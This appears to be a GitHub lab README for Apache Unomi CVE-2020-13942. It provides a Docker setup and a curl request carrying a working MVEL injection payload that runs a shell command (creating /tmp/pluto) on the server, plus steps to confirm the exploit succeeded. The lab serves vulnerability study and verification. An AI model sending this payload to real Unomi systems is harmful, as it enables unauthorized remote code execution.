corsisechero/cve-2020-13942byvulhubStep-by-step lab environment and exploit for Apache Unomi CVE-2020-13942, demonstrating MVEL expression language injection leading to remote code execution.
This vulnerability allows arbitrary command execution on systems running Apache Unomi version 1.5.1, by exploiting MVEL expression language injection.
GitHub - Vulhub - Unomi CVE-2020-13942
docker-compose.yml)version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- bootstrap.memory_lock=true
Run the containers with the following command:
docker compose up -d
Send the following POST request using curl:
curl -X POST http://localhost:8181/context.json \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}'
Access the container to verify file creation:
docker exec -it af7de05fc47e ls /tmp
Verify the presence of the pluto file:
hsperfdata_root pluto
If the pluto file is present, it means the exploit succeeded.
This vulnerability allows arbitrary command execution. Use these tests only in controlled environments and for study or verification purposes. Exploiting vulnerabilities in unauthorized environments is illegal.